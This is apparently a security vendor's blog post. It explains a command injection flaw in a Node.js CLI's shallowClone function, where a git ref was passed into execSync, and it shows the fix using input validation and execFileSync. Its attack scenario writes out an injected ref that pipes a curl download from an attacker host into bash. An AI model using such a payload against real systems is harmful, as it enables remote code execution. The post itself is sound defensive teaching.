Back to Blog
high SEVERITY6 min read

How Command Injection via child_process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `bin/init.mjs` where the `shallowClone` function passed a user-controllable `ref` parameter directly to `execSync` shell commands. This could allow attackers to execute arbitrary system commands by crafting malicious git reference names. The fix implements strict input validation and replaces `execSync` with `execFileSync` to eliminate shell interpretation entirely.

O
By Orbis AppSec
Published August 9, 2026Reviewed August 9, 2026

Answer Summary

Command injection (CWE-78) in Node.js occurs when user-controlled input is passed to `child_process.execSync()` with shell string interpolation, allowing attackers to inject shell metacharacters. In this case, the `ref` parameter in `shallowClone()` was interpolated directly into git commands. The fix validates `ref` against a strict alphanumeric pattern and switches to `execFileSync()` which passes arguments as an array, bypassing shell interpretation entirely.

Vulnerability at a Glance

cweCWE-78
fixInput validation with regex whitelist plus migration from execSync to execFileSync
riskRemote code execution through malicious git references
languageJavaScript (Node.js)
root causeUser-controlled `ref` parameter interpolated into execSync shell commands
vulnerabilityCommand Injection via child_process

Introduction

In bin/init.mjs, we discovered a high-severity command injection vulnerability in the shallowClone function at line 945. The function accepts a ref parameter—intended to be a git branch or tag name—and interpolates it directly into shell commands executed via execSync. This pattern created a dangerous attack surface where malicious reference names could execute arbitrary system commands.

The vulnerable code looked like this:

execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
  stdio: "ignore",
});

For developers building CLI tools or libraries that interact with git repositories, this is a critical pattern to recognize. The ref variable flows from function arguments that may ultimately originate from user input, configuration files, or external APIs—all potentially attacker-controlled sources.

The Vulnerability Explained

How Shell Command Injection Works

When you use execSync with template literals in Node.js, the entire string is passed to the system shell for interpretation. The shell treats certain characters as special metacharacters:

  • ; terminates one command and starts another
  • | pipes output to another command
  • $() or backticks execute nested commands
  • && and || chain commands conditionally

In the shallowClone function, the vulnerable pattern appeared in three locations:

// Vulnerable: ref is interpolated directly into shell command
execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
  stdio: "ignore",
});

execSync(`git -C "${dest}" checkout --quiet FETCH_HEAD`, {
  stdio: "ignore",
});

execSync(
  `git clone --quiet --depth 1 --branch ${ref} https://github.com/${repo} "${dest}"`,
  { stdio: "ignore" }
);

Attack Scenario Specific to This Code

Imagine an attacker can influence the ref parameter passed to shallowClone. They could craft a malicious reference like:

main; curl https://attacker.com/malware.sh | bash

When interpolated into the git fetch command, this becomes:

git -C "/path/to/cache" fetch --quiet --depth 1 origin main; curl https://attacker.com/malware.sh | bash

The shell interprets the semicolon as a command separator, executing the git command first, then downloading and running a malicious script. Since this is a Node.js library, any downstream application using this package could be compromised if they pass untrusted input to functions that eventually call shallowClone.

Real-World Impact

This vulnerability is particularly dangerous because:

  1. Library context: This code exists in a library consumed by other applications, amplifying the attack surface
  2. Silent execution: The stdio: "ignore" option suppresses output, making malicious command execution harder to detect
  3. System-level access: Commands execute with the same privileges as the Node.js process, potentially including file system access, network capabilities, and environment variables containing secrets

The Fix

The fix implements a defense-in-depth strategy with two key changes:

1. Strict Input Validation

A regex whitelist now validates the ref parameter before any execution:

if (!/^[a-zA-Z0-9._\/]+$/.test(ref) || ref.startsWith('-')) {
  console.error(`  ! Invalid ref: ${ref}`);
  return null;
}

This validation:
- Allows only alphanumeric characters, dots, underscores, and forward slashes
- Rejects refs starting with - to prevent argument injection (e.g., --upload-pack=...)
- Returns null early, preventing any command execution with invalid input

2. Migration from execSync to execFileSync

The fix replaces all execSync calls with execFileSync, passing arguments as an array:

Before (Vulnerable):

execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
  stdio: "ignore",
});

After (Secure):

execFileSync("git", ["-C", dest, "fetch", "--quiet", "--depth", "1", "origin", ref], {
  stdio: "ignore",
});

The critical difference: execFileSync bypasses the shell entirely. Arguments are passed directly to the git executable as discrete parameters. Shell metacharacters like ;, |, and $() are treated as literal characters, not special operators.

Complete Before/After Comparison

Before:

function shallowClone(repo, ref) {
  const dest = join(cacheRoot(), repo.replace("/", "__"));
  try {
    if (existsSync(join(dest, ".git"))) {
      execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
        stdio: "ignore",
      });
      execSync(`git -C "${dest}" checkout --quiet FETCH_HEAD`, {
        stdio: "ignore",
      });
    } else {
      if (existsSync(dest)) rmSync(dest, { recursive: true, force: true });
      execSync(
        `git clone --quiet --depth 1 --branch ${ref} https://github.com/${repo} "${dest}"`,
        { stdio: "ignore" }
      );
    }

After:

function shallowClone(repo, ref) {
  if (!/^[a-zA-Z0-9._\/]+$/.test(ref) || ref.startsWith('-')) {
    console.error(`  ! Invalid ref: ${ref}`);
    return null;
  }
  const dest = join(cacheRoot(), repo.replace("/", "__"));
  try {
    if (existsSync(join(dest, ".git"))) {
      execFileSync("git", ["-C", dest, "fetch", "--quiet", "--depth", "1", "origin", ref], {
        stdio: "ignore",
      });
      execFileSync("git", ["-C", dest, "checkout", "--quiet", "FETCH_HEAD"], {
        stdio: "ignore",
      });
    } else {
      if (existsSync(dest)) rmSync(dest, { recursive: true, force: true });
      execFileSync(
        "git",
        ["clone", "--quiet", "--depth", "1", "--branch", ref, `https://github.com/${repo}`, dest],
        { stdio: "ignore" }
      );
    }

Prevention & Best Practices

1. Prefer Argument Arrays Over Shell Strings

Always use execFileSync, spawn, or spawnSync with argument arrays instead of execSync with string interpolation:

// ❌ Dangerous
execSync(`command ${userInput}`);

// ✅ Safe
execFileSync("command", [userInput]);

2. Validate Input at Trust Boundaries

Implement strict validation as close to the input source as possible:

const SAFE_REF_PATTERN = /^[a-zA-Z0-9._\/]+$/;

function validateGitRef(ref) {
  if (!SAFE_REF_PATTERN.test(ref) || ref.startsWith('-')) {
    throw new Error(`Invalid git reference: ${ref}`);
  }
  return ref;
}

3. Use Established Libraries

For git operations, consider using libraries like simple-git or isomorphic-git that handle escaping and validation internally.

4. Enable Static Analysis

Configure Semgrep or similar tools in your CI pipeline to catch child_process usage with dynamic arguments:

# .semgrep.yml
rules:
  - id: detect-child-process
    patterns:
      - pattern: execSync($CMD)
    message: "Avoid execSync with dynamic commands"
    severity: WARNING

Key Takeaways

  • Never interpolate untrusted input into execSync strings — the ref parameter in shallowClone was a ticking time bomb waiting for malicious input
  • execFileSync with argument arrays eliminates shell interpretation entirely — this is the most robust defense against command injection
  • Validate git references against strict whitelists — the regex /^[a-zA-Z0-9._\/]+$/ covers legitimate branch/tag names while blocking metacharacters
  • Block arguments starting with - — this prevents argument injection attacks like --upload-pack=malicious
  • Library code requires extra scrutiny — vulnerabilities in init.mjs affect every downstream consumer of this package

How Orbis AppSec Detected This

  • Source: The ref parameter passed to the shallowClone(repo, ref) function in bin/init.mjs
  • Sink: execSync() calls at lines 945-957 where ref was interpolated into shell command strings
  • Missing control: No input validation on ref and use of shell-interpreted execSync instead of argument-based execFileSync
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Added regex validation for the ref parameter and replaced all execSync calls with execFileSync using argument arrays

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in shallowClone demonstrates why execSync with string interpolation is considered an anti-pattern in security-conscious Node.js development. The fix shows the gold standard approach: combine strict input validation with execFileSync argument arrays to create multiple layers of defense.

For library authors, remember that your code runs in contexts you can't predict. What seems like an internal function today may receive attacker-controlled input tomorrow through a chain of dependencies and integrations. Defensive hardening—removing exploit primitives before they can be chained—is essential for maintaining secure software supply chains.

References

Frequently Asked Questions

What is command injection via child_process?

Command injection occurs when untrusted input is passed to shell execution functions like `execSync`, allowing attackers to append malicious commands using shell metacharacters like `;`, `|`, or `$()`.

How do you prevent command injection in Node.js?

Use `execFileSync` or `spawn` with arguments as arrays instead of `execSync` with string interpolation. Always validate and sanitize user input against strict whitelists before passing to any process execution function.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation is an important defense layer, but the most robust fix combines validation with using argument arrays (`execFileSync`) instead of shell string interpolation, eliminating the attack surface entirely.

Can static analysis detect command injection?

Yes, tools like Semgrep can detect patterns where user-controllable data flows to dangerous sinks like `execSync`. The rule `javascript.lang.security.detect-child-process.detect-child-process` specifically identifies these patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #53

Related Articles

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

high

How Quadratic CPU Consumption in YAML Parsing happens in JavaScript and how to fix it

A high-severity vulnerability in js-yaml versions 3.x and 4.x allowed attackers to cause quadratic CPU consumption through specially crafted YAML documents using the `!!omap` type. This denial-of-service vulnerability (GHSA-5p4m-2wfm-xmqj) was fixed by upgrading from js-yaml 4.3.0 to 4.3.1, protecting applications from algorithmic complexity attacks during YAML parsing.

high

How Arbitrary HTTP Header Injection via Prototype Pollution happens in JavaScript and how to fix it

A high-severity vulnerability (CVE-2026-42035) in axios version 1.13.5 allowed attackers to inject arbitrary HTTP headers through prototype pollution. The fix upgrades axios to version 1.18.0 in the frontend's dependency tree, which includes proper prototype chain validation when constructing HTTP request headers. This prevents attackers from manipulating outgoing requests to perform SSRF, session hijacking, or cache poisoning attacks.